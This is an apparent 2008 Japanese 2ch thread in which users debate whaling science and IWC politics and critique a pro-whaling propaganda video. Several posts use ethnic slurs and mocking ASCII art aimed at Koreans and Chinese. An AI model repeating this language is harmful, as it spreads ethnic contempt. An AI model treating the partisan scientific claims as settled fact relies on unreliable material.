日本の捕鯨が持つ正当性を、対抗動画をもって知らしめようぜ　その８

1 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/24(月) 01:09:37 ID:vB53Qrw+0] ■捕鯨問題 まとめwiki www14.atwiki.jp/hogei/ 【推奨動画】　YouTube - 反捕鯨に物申す　anti anti whaling jp.youtube.com/watch?v=F7ULWnS0jJk （財）日本鯨類研究所 www.icrwhale.org/index.htm 捕鯨問題テンプレ集 wiki.spc.gr.jp/whale/ YouTubeリンク集 wiki.spc.gr.jp/whale/?YOU_TUBE ★署名のお願い 日本の鯨類捕獲調査を妨害するグリーンピース及びシーシェパードに対する抗議書 www.icrwhale.org/syomei.htm ■日本の捕鯨が持つ正当性を、対抗動画をもって知らしめようぜ　その７ pc11.2ch.net/test/read.cgi/streaming/1205342381/ 72 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 08:05:33 ID:PWfXBiHL0] >>68 約５分です。 >>69 >楽しみにしてます。ただ最近はちょっと落ち着いちゃったから閲覧数伸びないかもね ありがとうございます。 もうピークは過ぎたと思うので、仕方がないと思います。 いまさら自分が作るのもどうかなあ、と思いましたが、まあ、毛色の違うのがあってもいいだろうと。 73 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 08:35:18 ID:VMy68Qk/0] 神風が味方する、神国ニッポンの民にのみ許された行為なのです、 国内に生息する熊やサルやシカやアライグマやイルカから 海外の絶滅危惧種のクジラまで 間引く権利があるのは神国ニッポンの民だけです。 いい加減に理解してくれないか？ 74 名前：名無しさん＠お腹いっぱい。 [2008/03/27(木) 09:25:02 ID:PxXktXIb0] >＞・IWCは年齢のデータは必要としていない >IWCの改訂管理方式による商業捕鯨枠算定のためには年齢データは必要と >していない、というのが正しい。一般的に、鯨の生態を自然科学的に解明する >には、生殖開始年齢とか、年齢別の死亡率とかがわかればそれにこした >ことはない。だけど、生かしておいたまま、継続的に細胞を採取し、 >出来た子供の細胞も採取したりとか、生殖的行動範囲を調べたりとか、 >ストック（資源）の動態調査をやるには、非致死調査の有力な手段が >いくらでも開発されている。年齢情報取得のために何千頭も殺すなんて、 >今時時代遅れだし、他の研究者の迷惑になる。 未だに反捕鯨派の言うこれが具体的に証明された事が無い件について 75 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 09:37:59 ID:t1fY9Gmv0] >>64 ＞逆に遺伝子細胞の老化を検出する技術が進んだので、年齢についても非致死で推定はできるように ＞なっている、というのがここ数年の新たな展開。 え？ テロメアでの解析になるんだよね？ 未だ誤差がプラスマイナス１０年って世界でしょ？ 体長とかで推定する方がまだ正確なんじゃないのw 76 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 12:35:03 ID:o3utU9H+0] 【国際】カナダのアザラシ猟に、捕鯨反対団体“シー・シェパード”などが抗議活動を表明…カナダ政府｢妨害すれば法律に則り告訴｣ mamono.2ch.net/test/read.cgi/newsplus/1206582398/ 【環境】野球場での「たこ焼きの販売やめて」　根来コミッショナーに要望…国際動物愛護団体PETA mamono.2ch.net/test/read.cgi/newsplus/1206583439/ 　　　 　 ＿__　　　　━┓ 　　　 ／　―＼ 　　┏┛ 　　／ノ　　(●)＼　 ・ .　｜　(●) 　 ⌒）＼ .　｜　　 （__ノ￣　　| 　　＼　　　　　　　 / 　　　 ＼　　　　 _ノ 　　　　/´　　 　 ｀＼ 　　 　 |　　　　　　　| 　　 　 |　　　　　　　| 77 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 12:52:31 ID:C3uPm8wh0] >>76 アザラシの駆除は、下手したら北海道でも今後毎年せざるを得なくなるかもしれないんだよな。 78 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 17:18:55 ID:AE+PAOJm0] オージーはチベット問題どうなのよ？ ラッド首相は中国訪問するみたいだが、反捕鯨のあてこすり？ 79 名前：名無しさん＠お腹いっぱい。 [2008/03/27(木) 17:54:10 ID:juFDGkPh0] >>57 確かにな。ようするに日本人がバカになっているから、バカにされてるってことだ。 戦うべきところでも、ヘラヘラしてるクズを海外で見ると、日本人であることが 恥ずかしくなるし、向こうに住んでみて、白人どもの軽薄さと傲慢さにうんざり するようになった。何か最近は、ヴィトンだのエルメスだのに群がる国内の 海外ブランド狂いの日本人にもムカつくようになってきた。西洋崇拝がいきつくと ただの塩化ビニールのかばんにも有り難味を感じるようになるらしい。 80 名前：名無しさん＠お腹いっぱい。 [2008/03/27(木) 18:00:07 ID:juFDGkPh0] >>72 楽しみに待ってますよ〜。 閲覧数は気にしなくてもオケ。 たぶん今は伸びなくても、六月頃にはすごい勢いで伸びるはずｗ 81 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 20:03:34 ID:PxXktXIb0] >>79 確かに、海外に行ってブランドに目を晦ませてる日本人は哀れ 敗戦後の教育のせいとかもあるかもしれないが、せめて大人になったらもっと情報の取捨選択くらい自分でやってほしいな 日本人はどんだけマネても西洋人にはなれないのにな 髪も若者は染めるのがデフォになってきたけど、似合ってない奴の方が圧倒的に多いし せめて染めるならもっと綺麗に染めて欲しい、ハーフの女の子を見た事あるが、びっくりするくらい綺麗な栗色だった あれに憧れるのは分かるが、実際には適当に染めた感じでボサボサ頭の多い事 黒髪も手入れしてキチンとすれば勝るとも劣らない魅力があると思うんだけどな 江戸時代までは海外からどんどん輸出される程人気があった日本文化も廃れるとこまで廃れたよなぁ 戦前の記録フィルムを見たけど、今の東京より圧倒的に統一性があって綺麗だしｗ 82 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 20:07:53 ID:OX0oD2620] 東京は焼夷弾の大空襲にあって焼け野原になっただろ 83 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 20:15:27 ID:vYP/Eu7b0] おいおいちんけな日本人論なんか他でやれよ 84 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/27(木) 23:32:34 ID:C8qnWPJq0] 回りくどいスレ潰しに見えてしまう。 85 名前：名無しさん＠お腹いっぱい。 [2008/03/27(木) 23:56:29 ID:I5tbn2IB0] jp.youtube.com/watch?v=xM_fyVqRUGc&feature=related コイツ何て言ってんの？ 86 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 00:13:43 ID:Pbfs2b9C0] >>85 チョンは無視に限る。やたら捕鯨関連のタグ入れてるが ことごとくスルーされてるなｗ再生数がｗｗ 87 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 00:18:09 ID:R4JyMuL/0] >>61 こいつらＩＣＲ関連の論文だけが調査捕鯨の結果だと思ってるみたいね 調査捕鯨のサンプルは日本中の大学の水産専攻が使ってるんだが minke.fish.hokudai.ac.jp/office-m/pr/whale.htm 確かにＩＣＲの論文はダミー的、水増し的なものがたくさんある だがまさか東大や北大の鯨類研究全部がインチキだとは言い切れまい 88 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 01:43:37 ID:430DP93U0] >>80 やっと出来た。 明日アップします。 おやすみなさい。 89 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 04:49:58 ID:BjTDSuE50] >>69 昨日は、番組見ないでコメントして失礼しました。 ＞ 訳間違えてる可能性もあるけど、シロナガスクジラは捕鯨が始まる前の１％に満たないって話をした直後、 ＞他の多くの種でも同じようなことが言えるっていってるから少なくとも視聴者はそうとると思うよ... 一応、テロップではナガスクジラが72万3000頭、ザトウクジラが20万頭捕殺されたと 書いてるから、まあだいたいそんなものかと、見る人は適当に想像すると思うけど、 鯨増えすぎてる、と主張する日本側から見ると、誤導に聴こえるかもしれないね。 だけどあとで、森下丈二さんが出てきて、ミンククジラのポピュレイションは健全で、 増えたし、他の大型鯨種も増えていると言っているので、相殺はされてるな。 （もっとも、このインタビューは2005年と2006年のIWC大会の間に行われたもので、 2007年にIWCの日本南極捕鯨審査報告を見た人なら、ミンククジラは増えてないし、 他の鯨類もポピュレイション構造が解明されてないから獲るわけにはゆかない。 従って、森下氏はIWC科学委員会の認めてないこと言ってると気付くはずだけど。 www.iwcoffice.org/_documents/conservation/SC-59-Rep1.pdf） 90 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 04:52:22 ID:BjTDSuE50] >>69 ＞＞禁止ではなく、捕鯨モラトリアムが正しいね ＞ そうだけど番組ではこういってる。 ＞ In 1996, the IWC bit the bullet and banned all whaling world wide with a small exception. ＞Whaling under special permit for scientific purpuses. ＞1996年、IWCはしぶしぶ（？）世界中の全ての捕鯨を禁止した。ただ一つのちょっとした例外がある。 ＞科学的調査を目的とした捕鯨である。 ＞ モラトリアムって１９８２年だと思ってたんだけどな。 そうですね、1986年と私には聴こえたけどw 1982年の決議で沿岸捕鯨が1986年から捕獲枠ゼロ、遠洋捕鯨が1985／86年 シーズンから同様にゼロになりましたね（賛成２５、反対７、棄権５）。 91 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 04:55:06 ID:BjTDSuE50] >>70 ＞ できれば、あそこに出てきた学者っぽい三人の肩書きも分かれば… ＞全部オーストラリアの学者だったりしたら笑うけど。 タスマニアの元捕鯨都市、ホバートでやったインタビューで、全員 オーストラリア人ですねw ニック・ゲイルスはオーストラリア南極庁の海洋哺乳類専門家で IWC科学委員会へ政府から代表派遣。 www-new.aad.gov.au/default.asp?casid=12935 パット・クィルティーはタスマニア大学名誉教授で、オーストラリアの南極 プロジェクト元責任者。化石生物学が専門で、石油会社勤務、大学教授を歴任。 www.abc.net.au/tv/southnorth/film_talent_profiles.htm マイク・アーチャーはサウスウェールズ大学理学部長で、アナウンスによると 野生動物の捕殺に賛成派w www.science.unsw.edu.au/?DocPath=leaders-in-science/& だけど、この３人と同様、致死調査に付いて、必要ないはずだとわざわざIWC科学委員会で コメント出してる16カ国の政府派遣科学委員　+　IWC側招待の鯨学者16人のリスト貼っときます。 THE JOURNAL OF CETACEAN RESEARCCH AND MANAGEMENT Vol. 8 (SUPPL.), 2006 p.260-261 REPORT OF THE SCIENTIFIC COMMITTEE, ANNEX O1 COMMENTS ON THE GOVERNMENT OF JAPAN'S PROPOSAL FOR A SECOND PHASE OF SPECIAL PERMIT WHALING IN ANTARCTICA (JARPA II) S. Childerhouse (New Zealand), N. Gales (Australia), C.S. Baker (New Zealand), C. Bass (UK), P. Berggren (Sweden), J. Bickham (USA), J. Breiwick (USA), R. Brownell (USA), C. Carlson (USA), J-B. Charrassin (France), F. Cipriano (IP), P. Clapham (USA), T. Collins (IP), J. Cooke (IUCN), B. Cozzi (Italy), W. Dinter (Germany), M. Engel (Brazil), K. Findlay (IP), C. Fortuna (Italy), N. Funahashi (IP), J. Gedamke (Australia), K. Groch (Brazil), M. Iniguez (Argentina), T. Kasuya (IP), L. Kell (UK), K-H. Kock (Germany), M. Krahn (USA), R. Leaper (UK), R. LeDuc (USA), D. Mattila (IP), S. Moore (USA), S. Northridge (UK), C. Olavama (IP), J. Palazzo (Brazil), S. Panigada (Italy), C. Parsons (UK), W. Perrin (USA), C. Pomilla (IP), L. Porter (IP), P. Reijnders (Netherlands), V. Ridoux (France), F. Ritter (Germany), J. Robbins (USA), E. Rogan (Ireland), L. Rojas (Mexico), N. Rose (IP), H. Rosenbaum (USA), T. Rowles (USA), L. Sadler (UK), E. Secchi (IP), D. Senn (Switzerland), M. Simmonds (UK), M. Sironi (IP), M. Stachowitsch (Austria), D. Thiele (Australia), J. Urban (Mexico), P. Wade (USA), K. Van Waerebeek (Belgium), R. Waples (USA), M. Weinrich (IP), R. Williams (IP), B. Wilson (UK) and A. Zerbini (IP). [IP=Invited Participant]. 92 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 05:04:13 ID:BjTDSuE50] >>87 >確かにＩＣＲの論文はダミー的、水増し的なものがたくさんある >だがまさか東大や北大の鯨類研究全部がインチキだとは言い切れまい 獣殺派のアーチャー学部長がマッドだと笑ってたミンククジラの精子を牛や 羊の卵子に注入したとか、そういう学術研究ですか？ この話、数日前にネットに出ていて、てっきりネタかと思ってたんだけど、 もうずいぶん前から知られてたんですねw いずれにしても、第一段階で学術誌の査読論文（学会の専門学者による審査を経たもの だけ掲載するというやりかた）だけ抽出して、これが55本。そのうち鯨類の資源管理、 水産業にとって意味のあるものだけを選ぶと14本。さらにその中で、致死調査を 必要とするものだけを残すと４本、という経過だね。 93 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 05:32:52 ID:BjTDSuE50] >>75 >テロメアでの解析になるんだよね？ >未だ誤差がプラスマイナス１０年って世界でしょ？ テロメアというのは、細胞の中の染色体の末端の部分で、細胞分裂する時に、 末端だから、完全に複製されずに短くなる。それを若いうちは再構成する機能が あるけれど、歳をとるとこの機能が減退してきて、染色体の長さが短くなってくる。 こういう動物一般に見られる老化の細胞レベルでのメカニズムに着目したのが テロメア分析による年齢推定法だね。 現在実験志向で理論的にこれをまとめたスタンダードな論文はシェフィールド大学の 中川さん他の仕事ということになってる。 www.blackwell-synergy.com/doi/abs/10.1111/j.1365-294X.2004.02291.x 上の憎むべき反日科学者一覧表にも出てくるw、クラパムとかブラウネルとかの論文も 引用されてるねw 今、ネットで話題になってるのは2006年のネイチャーの論文らしいけど、これだと ザトウクジラで実際にこの応用実験をやった、Peter Harrisonというニューサウス ウェールズ大学の学者が、年齢推定の幅が5−10年の範囲に収まるようにしたいと、 かなり曖昧なこと言ってるんで、捕殺年齢推定派に希望を与えているんだなw npg.nature.com/nature/journal/v442/n7102/full/442507a.html Nature 442, 507-508 (3 August 2006) | doi:10.1038/442507a; Published online 2 August 2006 94 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 05:34:51 ID:BjTDSuE50] >>75 ＞体長とかで推定する方がまだ正確なんじゃないのw 年齢によりますね。まあどっちにしても、ポピュレイションの内部構造、 系統群の年齢特性を群として表示するには、一頭一頭の正確な年齢は必要ないのです。 サンプルを継続的に大量に取って、他に繁殖地での出生記録等の統計と合わせ、 時々手に入る事故死死体の耳栓年輪と比較するという、統計学的手法で問題は 解決してます。 そもそも国際捕鯨委員会の捕獲可能量算定には年齢は不要。必要なのは １）系群の構造（たとえば、南極海第IV海区で見つけたミンククジラがオーストラリア 東岸で繁殖してる系群に属するのか、西岸で繁殖してるのか、あるいはニュージーランド 西岸の系群に属するのか、という構造） ２）それぞれの系群の数量。 ３）過去の捕鯨による除去数。これだけ、 とあのユーツベでニック．ゲイルズが言ってる通りです。 上の63人の反日鯨学者wたちもみんなそういってます。 95 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 05:40:21 ID:BjTDSuE50] おー、大事な人を忘れてた。 上の反日学者６３人に入ってなくて、ずっと前からノルウェー政府派遣の科学委員 で、調査捕鯨を主張してたパルスボル（あるいはパルスベル）。 Support for these data comes from Per Palsb?ll, a population geneticist at the University of California, Berkeley, who is also studying telomeres in humpback whales. カリフォルニア大学バークレー校に移籍して、非致死調査派に鞍替えしちゃった みたいだねw 96 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 05:46:24 ID:l2ombzqi0] ↑つまり、まとめると日本は商業捕鯨を再開すべきということだな 97 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 06:14:42 ID:BjTDSuE50] ↑うん。日本語で、２ちゃんだけでそう言ってるんならいいけど、 よーつべにそんな動画、英語で貼らんでなw 98 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 06:33:29 ID:l2ombzqi0] ↑だが、断る 99 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 07:24:07 ID:govWKfCF0] 色々情報ありがとう >ID:BjTDSuE50 要するにあの番組は、例の「RMPで捕獲枠算定するのに致死的調査は全く必要無い」と、 ずーっと言われてる件に則って、「日本が『調査』と言ってるのは嘘っぱちor 愚かな間違い」だとしてる、そういう調子だと思っていいのかな? >>92 >この話、数日前にネットに出ていて、てっきりネタかと思ってたんだけど、 この3月初旬に行われてたIWCの中間会合のときに、オーストラリアから派遣されてた 人から語られて豪のメディアに流れてから、反捕鯨派の連中が好んで持ち出すように なったのが、ここ数週間のことだけど、あの番組っていつ頃のものなんだろ? あと、判ればだけど、 >いずれにしても、第一段階で学術誌の査読論文（学会の専門学者による審査を経たもの >だけ掲載するというやりかた）だけ抽出して、これが55本。そのうち鯨類の資源管理、 (略) これは、何に(何の雑誌に)、どれだけの期間に、寄せられたものを対象としたのか、 番組では言ってますかね? 100 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 08:03:00 ID:8rc/ZikC0] 野生の哺乳類を、いまどき「食糧安全保障の重要項目」なんて位置づけてる 先進国はないよ。後進国でもそんなアホなこといわない。 101 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 10:26:35 ID:DYq7PGekO] レイシスト(笑) 102 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 11:40:40 ID:1gXR2Trn0] BjTDSuE50ってやけに長文書いてるけど反捕鯨派か 103 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 12:18:55 ID:4W18fAO60] 商業捕鯨＝悪という考え方もおかしいと思う 104 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 12:32:22 ID:DYq7PGekO] ＧＰは商業反捕鯨(笑) 105 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 13:11:17 ID:mVorSZaO0] 【豪州】ラッド首相「日本とばし」　米欧中訪問へ 捕鯨対立がトゲ？〜「中国傾斜ぶり」への批判広がる[03/28] news24.2ch.net/test/read.cgi/news4plus/1206662355/ 106 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 13:42:47 ID:DYq7PGekO] 中国が捕鯨に乗り出す時まで日本は待てということ？ 107 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 14:51:14 ID:yMvRLWC60] ＜ラッド豪首相＞米欧中を訪問、日本は見送り　捕鯨がトゲ？ オーストラリアのラッド首相は２７日、米国、欧州、中国歴訪に向け出発した。昨年１２月の就 任後、初の本格的な外遊だが、中国通として知られる首相は中国に４日間滞在する一方、日 本訪問を見送った。最近の日豪関係は調査捕鯨を巡る対立など否定的要素が目立つだけ に、「日本とばし」を「日本軽視の表れ」とする見方が報じられ、論議を呼んでいる。　　 　４月１２日まで続く外遊は「メガ・ツアー」と呼ばれ、最初の米国ではブッシュ大統領と会談。 その後、ベルギー、英国などを経て中国訪問で締めくくる。首相はこれまでインドネシアな ど近隣諸国を訪れているが、主要国歴訪は初めて。 　労働党政権を率いるラッド首相は中国語が堪能で、外交官として北京駐在を経験した。また、 野党時代にラッド氏や今の閣僚ら労働党幹部が、海外渡航費用を中国企業にたびたび負 担させていた事実が最近になって発覚。政権と中国との関係の深さが改めて浮き彫りにな っていた。 　野党・自由党は「中国に４日間も滞在するのに、最大の輸出相手国の日本には１時間割くこ ともできないのか」と批判。地元紙では、ラッド首相の「中国傾斜ぶり」を皮肉り、チベット暴動 でも「中国に厳しい態度を取らないのでは」とする論評が見られた。 　反捕鯨政策の強化を公約に掲げ昨年１１月の総選挙で勝利したラッド政権は、巡視船による 日本の調査捕鯨監視を実施。世論を含め日豪関係がぎくしゃくするきっかけとなった。外交 筋は「ラッド政権は捕鯨問題での強硬姿勢が日本側の反発を招き、逆効果になるという認識 がなかった」と分析。訪日見送りは豪世論と対日関係のバランス上、捕鯨問題の協議を先送 りする狙いもあるとみられている。 headlines.yahoo.co.jp/hl?a=20080328-00000014-mai-int 108 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 14:51:33 ID:l2ombzqi0] ID:BjTDSuE50　が↓で袋叩きにあってるぞ 【ｻｰﾌｧｰ】六ヶ所村ってどうなの？ 5【ﾀﾞｲﾊﾞｰ】 sports11.2ch.net/test/read.cgi/msports/1203815649/l50x 109 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 15:05:33 ID:SmQ0iUxM0] 日本人が知らない「日本売り」や「ジャパンバッシング」 　連日、豪州のテレビを賑わすトップニュースとは（MONEYzine） - Yahoo!ニュース ttp://headlines.yahoo.co.jp/hl?a=20080328-00000001-sh_mon-bus_all 110 名前：72 mailto:sage [2008/03/28(金) 18:10:29 ID:Wv0YzEV30] 完成したものをアップしました。 ここでの先行配布です。 ttp://home2.dip.jp/upload100_download.php?no=23507 PASSはコメントを見て下さい。 しかし、作っては見たものの、いいのかなあ、あんなので。 111 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 19:21:24 ID:7cLYBS9D0] 　　　（;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;（ ） 　　　 |:::::|￣￣8￣￣8￣￣|:::::| 　　　 |:::::|　 　/　　　/ﾞ 　 　|:::::| 最近ﾁｮﾊﾟｰﾘはｼﾅｰとばかり遊んでるﾆﾀﾞ。 　　　 |:::::|　 ∧,,∧ ./ﾞ　　　 |:::::| つまらないﾆﾀﾞ。謝罪汁、賠償汁。 　　　 | 　 ,<｀Д´　>　 　 　 |:::::|　ｷｰｺ 　　　 |　○　　　○ﾉ　　　　.|:::::|　　ｷｰｺ 　　　_|_/_<＿<__/)＿　　　 ||:::::| 　 （;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;（ ）)）　　.|:::::| 　　￣|￣|￣￣￣￣　　　　.|:::::| .....,,,.,. |　 |,,,.,.,.....,,,.,.,.....,,,.,.,...,.,|;;;::|,,,.,.,.....,,,.,.,... 112 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 19:46:33 ID:govWKfCF0] 拝見しました。 >>110 ■たぶん、よつべにうｐったら「違法と言うなら、ジャップの捕鯨が違法だ。法治国家として 　の自覚が無いのはどっちだ!」というような糾弾が飛んでくるでしょう。 　それに対して答を備えておいた方が良いかも。 　(むしろ、ビデオ作成の腕を生かして、反捕鯨クン達が持ち出してるいくつかの条約や 　憲章に照らしても、日本は違法ではないってビデオを作成してくれると効果的って 　時期に来てるような気がします) ■「ロープにはブイが付いていて、あとでちゃんと回収している。薬品は酢やオレンジ 　ジュース以上の刺激や毒性は無い」とか言ってくることも考えられます。 　(といっても、酪酸の毒性解説とかを入れてもビデオがくどくなっちゃうでしょうしねぇ…) ■「『船長が自分だけ防弾ジャケット』と何故言える?」と来る可能性あります。 　疑問形にはされているようですが、推測としても根拠が無いとされると弱い。 ■「捕鯨船に乗り込んだ二人は、文書を手渡したかっただけだ。すぐ退去できなかった 　のは拘束されて人質にされたからだ」と、あっちは言えるわけですので、「着替えまで 　携行して乗り込んできてた」というのも入れたほうが良さげ。 ・「他愛も無いいたずら」が「環境保護活動か?」という指摘はナイスですね。 ・外相の「公海」発言指摘も、これも良いですねぇ。 ・「捕鯨船側から少し反撃されただけで」をどういう英文にするかは分かりませんが、 　反撃というよりは、「警告」「威嚇」に当たる語を使われた方が良いかと。 　また、これに続く場面は、知らない者が見たら「実際に日本が銃撃した」としても全然違和 　感の無い出来になってますね。日本側は一発の銃弾も使っていないことは、はっきりさせ 　ておく方が良いと思われます。(他のビデオで分かるだろ、は危険です) ・IWCでのシーシェパ非難決議を伝える画面だけは、もちょっと長く映してもいいのでは。 　「もちろんオーストラリアもである」がちょっとの間しか見えない。 ・環境「破壊」テロリストという呼び方が、割と最初の方から頻出してますが、どう破壊してる 　のかの指摘(ロープと瓶)がビデオのかなり最後の方にしか出てないのは辛いですね。 ・二人の環境大臣のシーシェパやグリピとの繋がりを言ってる場面ですが、 　やはりこれの前に少しでもグリピのテロ志向も、ちょっとは触れておかないと論旨 　不明瞭っぽいです、「知らない者」視点では。 ・最後のメッセージ「オーストラリアに未来はない」ですが、そこまで大きなこと言われても 　論理の飛躍感が漂います。「暴力肯定の蛮族であり続ける」くらいなら分かりますが… 　なお、環境破壊(テロリスト)というのはシーシェパのことを指してはいるのでしょうが、 　オーストラリアの環境破壊についても少々指摘し、真に環境保護なんて目指してない 　シーシェパの姿と絡めて見せておけば、「未来はない」の唐突感も和らぐかも。 113 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 22:00:37 ID:L/cBOlvF0] 日本人が知らない「日本売り」や「ジャパンバッシング」？連日、豪州のテレビを賑わすトップニュースとは 公開：2008年03月28日？:00？ 　日本が報道される世界のトップニュースを、日本人は自ら見ることができない。「調査」と称した捕鯨で、 世界中の顰蹙を買う日本。世界有数の自殺大国でありながら、精神病患者を病人と認めない日本。 日銀総裁人事をはじめ、すべての重要問題を先送りにする日本。「JAPAiN」（痛々しい日本）といわれて孤立する日本には、 もはや誰も振り向かなくなるかもしれない。 「あなたは日本人ですか？」 「そうです」 「それじゃ、あなたを調査するために殺します」「バーン、バーン」 　指をピストルの形にしたインタビュアーは、そう言って、日本人観光客に銃を撃つ格好をした。 日本人観光客は困ったような顔をして、笑いながら去っていく。 　ここは、オーストラリアの国際空港。豪州の大手テレビ局によって、日本人観光客を狙った、 こんな突撃取材が行われている。 続く↓ moneyzine.jp/article/detail/40432?p=1 豪州テレビ「あなたは日本人ですか？」「そうです」「調査するために殺します」「バーン、バーン」 namidame.2ch.net/test/read.cgi/news/1206708686/ 114 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/28(金) 22:11:30 ID:kdIXPVKG0] >>113 4 名前： ネットカフェ難民(愛知県)[] 投稿日：2008/03/28(金) 21:52:29.66 ID:vVl7HlsQ0 「あなたは日本人ですか？」 「いえ、増えすぎたカンガルーですけど、なにか？」 「…」 115 名前：72 mailto:sage [2008/03/28(金) 23:15:17 ID:DbwxzudI0] >>112 なるほど。色々と参考になります。 カチンときた勢いで作ったので、嫌味が強いかなあ、とは自分でも思ってましたけどね。 もう少し他の意見とかを見て、V1.1への修正を検討してみます。 音楽とのタイミングの兼ね合いもあるから難しいけど。 英語への翻訳は自分では出来ないので、英語版作成の際には協力が必要になりますが。 116 名前：名無しさん＠お腹いっぱい。 [2008/03/28(金) 23:28:08 ID:ykMY0fCV0] video.google.com/videoplay?docid=-845461387975920288&hl=en 　 反捕鯨の本音です。 117 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 01:12:57 ID:ql/8rSQ/0] 伝わらない情報は情報ではありません。 テロップはきちんと読める速度・秒数で出しましょう。 色だの、動きだの、見掛けのオシャレに走りすぎて 肝心の情報が伝わらないのでは本末転倒です。 テロップを出す時の基本は、 カツゼツをしっかり意識しながら、 実際に声に出して普通の速度で音読してみる。 さらに読み始める前と、読み終わった後に一拍置く。 この合計尺が、そのテロップの適正な表示秒数となります。 そして読み易いように、背景に溶け込まない色をセレクトしてください。 縁が付けられるのなら付けましょう。 もっとも見やすいのは、白地に黒縁取り、もしくはその反対の黒字に白縁取りです。 一時停止して読んだり、何度も繰り返し見たりしてくれる熱心な人だけを相手にするならともかく、 特に興味のない一見さんに興味を持ってもらうためには、非常に大事な基本です。 今の所、神動画と絶賛されるような素晴らしい作品でも 残念ながらこの基本が守られている事はほとんどないようです。 ぜひこれを取り入れて、よりクオリティの高い動画を作って頂きたいと思います。 118 名前：名無しさん＠お腹いっぱい。 [2008/03/29(土) 01:26:20 ID:fC6SOgqZ0] ん？ 広告代理店？ 自分でしごとすれば？ 金もらってw 119 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 04:05:52 ID:rTFMgMc60] そんなに突っかかることか? 120 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 05:55:54 ID:qbb8OyDt0] ＞もっとも見やすいのは、白地に黒縁取り、 ＞もしくはその反対の黒字に白縁取りです。 これってテレビ向けの話だよね。 確かにテレビ番組の字幕はどれもこの基本が守られているよ。 でも、映画のテロップやトレーラーに挿入されるテロップも その法則に則ってるかというと必ずしも･･･だよね だから、もっと伝わるように工夫しろの一言で十分だと思われ でも貴重なご意見なので、また新作が投下されたときは、 技術的な側面からのご意見よろしくお願いします 121 名前：72 mailto:sage [2008/03/29(土) 08:52:40 ID:BL/m+2bH0] >>117 >もっとも見やすいのは、白地に黒縁取り、もしくはその反対の黒字に白縁取りです。 PowerDirector3を使ってるんですが、すみません。それ出来ないんです。 テロップに関しては自分の思うような融通が利かないので。 仕方がないので、解像度低下を考慮に入れて代わりに厚めの影と背景に埋もれないよう色を付けています。 122 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 10:59:42 ID:ql/8rSQ/0] >>120 ＞これってテレビ向けの話だよね。 ＞確かにテレビ番組の字幕はどれもこの基本が守られているよ。 ＞でも、映画のテロップやトレーラーに挿入されるテロップも ＞その法則に則ってるかというと必ずしも･･･だよね テレビのみならず、映画も含めての基本です。 最近はレンタルビデオの普及によって映画のトレーラーやテロップもだいぶ改善されてきています。 一部、縁なし白地で字幕を出すものもありますが それは昔ながらの習慣に漠然と従っているだけで、なにか深い理由が有るわけではないですよ。 ので、それを見習う必要もないと思います。 >>121 私のレスは、特定の人に向けたものというわけではなく、 頑張って動画を作ってくれている全員へのアドバイスになればと思って投下したものなので そんな気にしないでくださいね。環境によって出来る事出来ない事は当然あるでしょうし。 123 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 14:14:12 ID:s2rGyNAT0] 今日の朝日の朝刊に韓国の捕鯨がピンチって書いてあった 密漁してたのが国際的に批判されて政府が取り締まりを強化したんだって 124 名前：名無しさん＠お腹いっぱい。 [2008/03/29(土) 16:56:55 ID:dKBci+WF0] 韓国ざまあｗ 125 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/29(土) 17:01:07 ID:qbb8OyDt0] >>122 参考になります。 126 名前：名無しさん＠お腹いっぱい。 [2008/03/29(土) 21:45:18 ID:YgdBopZo0] いろいろなサイトを見ていてきがついたのだけれど、鯨が漁業の５倍から ６倍の魚を食っているから、人間の食糧事情が圧迫されているという言い方、 外国人相手の議論ではやめといたほうがいいね。 127 名前：名無しさん＠お腹いっぱい。 mailto:sage 